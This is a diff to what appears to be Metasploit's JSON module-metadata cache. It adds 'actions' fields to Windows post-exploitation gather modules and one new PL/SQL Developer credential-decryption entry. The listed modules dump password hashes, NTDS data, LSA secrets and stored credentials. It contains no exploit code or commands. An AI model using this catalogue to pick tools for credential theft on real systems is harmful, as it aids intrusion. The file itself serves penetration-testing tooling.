+253000,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/kmeleon": { "name": "Kmeleon credential gatherer", @@ -245131,7 +253051,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/line": { "name": "LINE credential gatherer", @@ -245179,7 +253102,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/maxthon": { "name": "Maxthon credential gatherer", @@ -245227,7 +253153,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/mcafee_vse_hashdump": { "name": "McAfee Virus Scan Enterprise Password Hashes Dump", @@ -245264,7 +253193,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/mdaemon_cred_collector": { "name": "Windows Gather MDaemonEmailServer Credential Cracking", @@ -245300,7 +253232,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/meebo": { "name": "Windows Gather Meebo Password Extractor", @@ -245337,7 +253272,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/miranda": { "name": "Miranda credential gatherer", @@ -245385,7 +253323,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/moba_xterm": { "name": "Windows Gather MobaXterm Passwords", @@ -245430,7 +253371,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/mremote": { "name": "Windows Gather mRemote Saved Password Extraction", @@ -245468,7 +253412,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/mssql_local_hashdump": { "name": "Windows Gather Local SQL Server Hash Dump", @@ -245505,7 +253452,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/navicat": { "name": "Windows Gather Navicat Passwords", @@ -245553,7 +253503,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/nimbuzz": { "name": "Windows Gather Nimbuzz Instant Messenger Password Extractor", @@ -245590,7 +253543,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/opera": { "name": "Opera credential gatherer", @@ -245638,7 +253594,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/operamail": { "name": "Operamail credential gatherer", @@ -245686,7 +253645,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/outlook": { "name": "Windows Gather Microsoft Outlook Saved Password Extraction", @@ -245722,7 +253684,59 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] + }, + "post_windows/gather/credentials/plsql_developer": { + "name": "Windows Gather PL/SQL Developer Connection Credentials", + "fullname": "post/windows/gather/credentials/plsql_developer", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Adam Caudill", + "Jemmy Wang" + ], + "description": "This module can decrypt the histories and connection credentials of PL/SQL Developer,\n and passwords are available if the user chooses to remember.", + "references": [ + "URL-https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-11-09 13:58:14 +0000", + "path": "/modules/post/windows/gather/credentials/plsql_developer.rb", + "is_install_path": true, + "ref_name": "windows/gather/credentials/plsql_developer", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + + ] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/postbox": { "name": "Postbox credential gatherer", @@ -245770,7 +253784,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/pulse_secure": { "name": "Windows Pulse Secure Connect Client Saved Password Extractor", @@ -245818,7 +253835,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/purevpn_cred_collector": { "name": "Windows Gather PureVPN Client Credential Collector", @@ -245855,7 +253875,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/qq": { "name": "QQ credential gatherer", @@ -245903,7 +253926,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/razer_synapse": { "name": "Windows Gather Razer Synapse Password Extraction", @@ -245942,7 +253968,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/razorsql": { "name": "Windows Gather RazorSQL Credentials", @@ -245979,7 +254008,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/rdc_manager_creds": { "name": "Windows Gather Remote Desktop Connection Manager Saved Password Extraction", @@ -246015,7 +254047,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/redis_desktop_manager": { "name": "RedisDesktopManager credential gatherer", @@ -246060,7 +254095,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/safari": { "name": "Safari credential gatherer", @@ -246108,7 +254146,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/seamonkey": { "name": "Seamonkey credential gatherer", @@ -246156,7 +254197,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/securecrt": { "name": "Windows SecureCRT Session Information Enumeration", @@ -246202,7 +254246,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/skype": { "name": "Windows Gather Skype Saved Password Hash Extraction", @@ -246241,7 +254288,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/smartermail": { "name": "Windows Gather SmarterMail Password Extraction", @@ -246280,7 +254330,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/smartftp": { "name": "Windows Gather SmartFTP Saved Password Extraction", @@ -246316,7 +254369,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/solarwinds_orion_dump": { "name": "SolarWinds Orion Secrets Dump", @@ -246363,7 +254419,21 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "Decrypt", + "description": "Decrypt SolarWinds Orion database export CSV file" + }, + { + "name": "Dump", + "description": "Export SolarWinds Orion database and perform decryption" + }, + { + "name": "Export", + "description": "Export SolarWinds Orion database without decryption" + } + ] }, "post_windows/gather/credentials/spark_im": { "name": "Windows Gather Spark IM Password Extraction", @@ -246400,7 +254470,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/srware": { "name": "Srware credential gatherer", @@ -246448,7 +254521,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/sso": { "name": "Windows Single Sign On Credential Collector (Mimikatz)", @@ -246484,7 +254560,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/steam": { "name": "Windows Gather Steam Client Session Collector.", @@ -246520,7 +254599,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/tango": { "name": "Tango credential gatherer", @@ -246568,7 +254650,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/teamviewer_passwords": { "name": "Windows Gather TeamViewer Passwords", @@ -246595,7 +254680,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-10-27 12:46:15 +0000", "path": "/modules/post/windows/gather/credentials/teamviewer_passwords.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/teamviewer_passwords", @@ -246607,7 +254692,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/thunderbird": { "name": "Thunderbird credential gatherer", @@ -246655,7 +254743,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/thycotic_secretserver_dump": { "name": "Delinea Thycotic Secret Server Dump", @@ -246700,7 +254791,17 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "Dump", + "description": "Export Secret Server database and perform decryption" + }, + { + "name": "Export", + "description": "Export Secret Server database without decryption" + } + ] }, "post_windows/gather/credentials/tlen": { "name": "Tlen credential gatherer", @@ -246748,7 +254849,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/tortoisesvn": { "name": "Windows Gather TortoiseSVN Saved Password Extraction", @@ -246784,7 +254888,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/total_commander": { "name": "Windows Gather Total Commander Saved Password Extraction", @@ -246820,7 +254927,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/trillian": { "name": "Windows Gather Trillian Password Extractor", @@ -246857,7 +254967,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/veeam_credential_dump": { "name": "Veeam Backup and Replication Credentials Dump", @@ -246902,7 +255015,21 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "Decrypt", + "description": "Decrypt Veeam database export CSV files" + }, + { + "name": "Dump", + "description": "Export Veeam databases and perform decryption" + }, + { + "name": "Export", + "description": "Export Veeam databases without decryption" + } + ] }, "post_windows/gather/credentials/viber": { "name": "Viber credential gatherer", @@ -246950,7 +255077,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/vnc": { "name": "Windows Gather VNC Password Extraction", @@ -246987,7 +255117,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/whatsupgold_credential_dump": { "name": "WhatsUp Gold Credentials Dump", @@ -247041,7 +255174,21 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "Decrypt", + "description": "Decrypt WhatsUp Gold database export CSV file" + }, + { + "name": "Dump", + "description": "Export WhatsUp Gold database and perform decryption" + }, + { + "name": "Export", + "description": "Export WhatsUp Gold database without decryption" + } + ] }, "post_windows/gather/credentials/windows_autologin": { "name": "Windows Gather AutoLogin User Credential Extractor", @@ -247078,7 +255225,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/windows_sam_hivenightmare": { "name": "Windows SAM secrets leak - HiveNightmare", @@ -247132,7 +255282,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/windowslivemail": { "name": "Windows Live Mail credential gatherer", @@ -247180,7 +255333,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/winscp": { "name": "Windows Gather WinSCP Saved Password Extraction", @@ -247216,7 +255372,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/wsftp_client": { "name": "Windows Gather WS_FTP Saved Password Extraction", @@ -247252,7 +255411,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/xchat": { "name": "Xchat credential gatherer", @@ -247300,7 +255462,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/credentials/xshell_xftp_password": { "name": "Windows Gather Xshell and Xftp Passwords", @@ -247345,7 +255510,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/dnscache_dump": { "name": "Windows Gather DNS Cache", @@ -247381,7 +255549,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/dumplinks": { "name": "Windows Gather Dump Recent Files lnk Info", @@ -247417,7 +255588,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ad_bitlocker": { "name": "Windows Gather Active Directory BitLocker Recovery", @@ -247453,7 +255627,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ad_computers": { "name": "Windows Gather Active Directory Computers", @@ -247489,7 +255666,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ad_groups": { "name": "Windows Gather Active Directory Groups", @@ -247525,7 +255705,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ad_managedby_groups": { "name": "Windows Gather Active Directory Managed Groups", @@ -247561,7 +255744,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ad_service_principal_names": { "name": "Windows Gather Active Directory Service Principal Names", @@ -247598,7 +255784,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ad_to_wordlist": { "name": "Windows Active Directory Wordlist Builder", @@ -247634,7 +255823,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ad_user_comments": { "name": "Windows Gather Active Directory User Comments", @@ -247670,7 +255862,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ad_users": { "name": "Windows Gather Active Directory Users", @@ -247708,7 +255903,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_applications": { "name": "Windows Gather Installed Application Enumeration", @@ -247744,7 +255942,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_artifacts": { "name": "Windows Gather File and Registry Artifacts Enumeration", @@ -247791,7 +255992,10 @@ "powershell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_av": { "name": "Windows Installed AntiVirus Enumeration", @@ -247837,7 +256041,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_av_excluded": { "name": "Windows Antivirus Exclusions Enumeration", @@ -247874,7 +256081,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_chocolatey_applications": { "name": "Windows Gather Installed Application Within Chocolatey Enumeration", @@ -247920,7 +256130,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_chrome": { "name": "Windows Gather Google Chrome User Data Enumeration", @@ -247947,7 +256160,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-11-20 16:24:47 +0000", "path": "/modules/post/windows/gather/enum_chrome.rb", "is_install_path": true, "ref_name": "windows/gather/enum_chrome", @@ -247959,7 +256172,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_computers": { "name": "Windows Gather Enumerate Computers", @@ -248006,7 +256222,10 @@ "powershell", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_db": { "name": "Windows Gather Database Instance Enumeration", @@ -248043,7 +256262,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_devices": { "name": "Windows Gather Hardware Enumeration", @@ -248079,7 +256301,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_dirperms": { "name": "Windows Gather Directory Permissions Enumeration", @@ -248117,7 +256342,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_domain": { "name": "Windows Gather Enumerate Domain", @@ -248164,7 +256392,10 @@ "shell", "powershell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_domain_group_users": { "name": "Windows Gather Enumerate Domain Group", @@ -248210,7 +256441,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_domain_tokens": { "name": "Windows Gather Enumerate Domain Tokens", @@ -248255,7 +256489,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_domain_users": { "name": "Windows Gather Enumerate Active Domain Users", @@ -248292,7 +256529,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_domains": { "name": "Windows Gather Domain Enumeration", @@ -248328,7 +256568,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_emet": { "name": "Windows Gather EMET Protected Paths", @@ -248364,7 +256607,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_files": { "name": "Windows Gather Generic File Collection", @@ -248401,7 +256647,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_hostfile": { "name": "Windows Gather Windows Host File Enumeration", @@ -248438,7 +256687,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_hyperv_vms": { "name": "Windows Hyper-V VM Enumeration", @@ -248483,7 +256735,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ie": { "name": "Windows Gather Internet Explorer User Data Enumeration", @@ -248519,7 +256774,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_logged_on_users": { "name": "Windows Gather Logged On User Enumeration (Registry)", @@ -248566,7 +256824,10 @@ "shell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_ms_product_keys": { "name": "Windows Gather Product Key", @@ -248613,7 +256874,10 @@ "powershell", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_muicache": { "name": "Windows Gather Enum User MUICache", @@ -248649,7 +256913,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_onedrive": { "name": "OneDrive Sync Provider Enumeration Module", @@ -248694,7 +256961,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_patches": { "name": "Windows Gather Applied Patches", @@ -248740,7 +257010,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_powershell_env": { "name": "Windows Gather PowerShell Environment Setting Enumeration", @@ -248788,7 +257061,10 @@ "shell", "powershell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_prefetch": { "name": "Windows Gather Prefetch File Information", @@ -248824,7 +257100,10 @@ "session_types": [ ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_proxy": { "name": "Windows Gather Proxy Setting", @@ -248871,7 +257150,10 @@ "powershell", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_putty_saved_sessions": { "name": "PuTTY Saved Sessions Enumeration Module", @@ -248907,7 +257189,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_services": { "name": "Windows Gather Service Info Enumeration", @@ -248955,7 +257240,10 @@ "powershell", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_shares": { "name": "Windows Gather SMB Share Enumeration via Registry", @@ -249002,7 +257290,10 @@ "powershell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_snmp": { "name": "Windows Gather SNMP Settings", @@ -249051,7 +257342,10 @@ "powershell", "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_termserv": { "name": "Windows Gather Terminal Server Client Connection Information Dumper", @@ -249087,7 +257381,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_tokens": { "name": "Windows Gather Enumerate Domain Admin Tokens (Token Hunter)", @@ -249132,7 +257429,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_tomcat": { "name": "Windows Gather Apache Tomcat Enumeration", @@ -249168,7 +257468,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_trusted_locations": { "name": "Windows Gather Microsoft Office Trusted Locations", @@ -249204,7 +257507,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/enum_unattend": { "name": "Windows Gather Unattended Answer File Enumeration", @@ -249245,7 +257551,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/exchange": { "name": "Windows Gather Exchange Server Mailboxes", @@ -249291,7 +257600,17 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "EXPORT", + "description": "Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword" + }, + { + "name": "LIST", + "description": "List basic information about all Exchange servers and mailboxes hosted on the target" + } + ] }, "post_windows/gather/file_from_raw_ntfs": { "name": "Windows File Gather File from Raw NTFS", @@ -249327,7 +257646,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/forensics/browser_history": { "name": "Windows Gather Skype, Firefox, and Chrome Artifacts", @@ -249363,7 +257685,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/forensics/duqu_check": { "name": "Windows Gather Forensics Duqu Registry Check", @@ -249400,7 +257725,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/forensics/enum_drives": { "name": "Windows Gather Physical Drives and Logical Volumes", @@ -249436,7 +257764,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/forensics/fanny_bmp_check": { "name": "FannyBMP or DementiaWheel Detection Registry Check", @@ -249483,7 +257814,10 @@ "meterpreter", "shell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/forensics/imager": { "name": "Windows Gather Forensic Imaging", @@ -249519,7 +257853,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/forensics/nbd_server": { "name": "Windows Gather Local NBD Server", @@ -249555,7 +257892,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/forensics/recovery_files": { "name": "Windows Gather Deleted Files Enumeration and Recovering", @@ -249591,7 +257931,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/get_bookmarks": { "name": "Bookmarked Sites Retriever", @@ -249636,7 +257979,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/hashdump": { "name": "Windows Gather Local User Account Password Hashes (Registry)", @@ -249672,7 +258018,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/local_admin_search_enum": { "name": "Windows Gather Local Admin Search", @@ -249710,7 +258059,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/lsa_secrets": { "name": "Windows Enumerate LSA Secrets", @@ -249746,7 +258098,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/make_csv_orgchart": { "name": "Generate CSV Organizational Chart Data Using Manager Information", @@ -249782,7 +258137,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/memory_dump": { "name": "Windows Process Memory Dump", @@ -249827,7 +258185,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/memory_grep": { "name": "Windows Gather Process Memory Grep", @@ -249863,7 +258224,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/netlm_downgrade": { "name": "Windows NetLM Downgrade Attack", @@ -249913,7 +258277,10 @@ "shell", "powershell" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/ntds_grabber": { "name": "NTDS Grabber", @@ -249949,7 +258316,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/ntds_location": { "name": "Post Windows Gather NTDS.DIT Location", @@ -249985,7 +258355,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/outlook": { "name": "Windows Gather Outlook Email Messages", @@ -250021,7 +258394,17 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + { + "name": "LIST", + "description": "Lists all folders" + }, + { + "name": "SEARCH", + "description": "Searches for an email" + } + ] }, "post_windows/gather/phish_windows_credentials": { "name": "Windows Gather User Credentials (phishing)", @@ -250058,7 +258441,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/psreadline_history": { "name": "Windows Gather PSReadline History", @@ -250096,7 +258482,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/resolve_sid": { "name": "Windows Gather Local User Account SID Lookup", @@ -250141,7 +258530,10 @@ "session_types": [ "meterpreter" ], - "needs_cleanup": null + "needs_cleanup": null, + "actions": [ + + ] }, "post_windows/gather/screen_spy": { 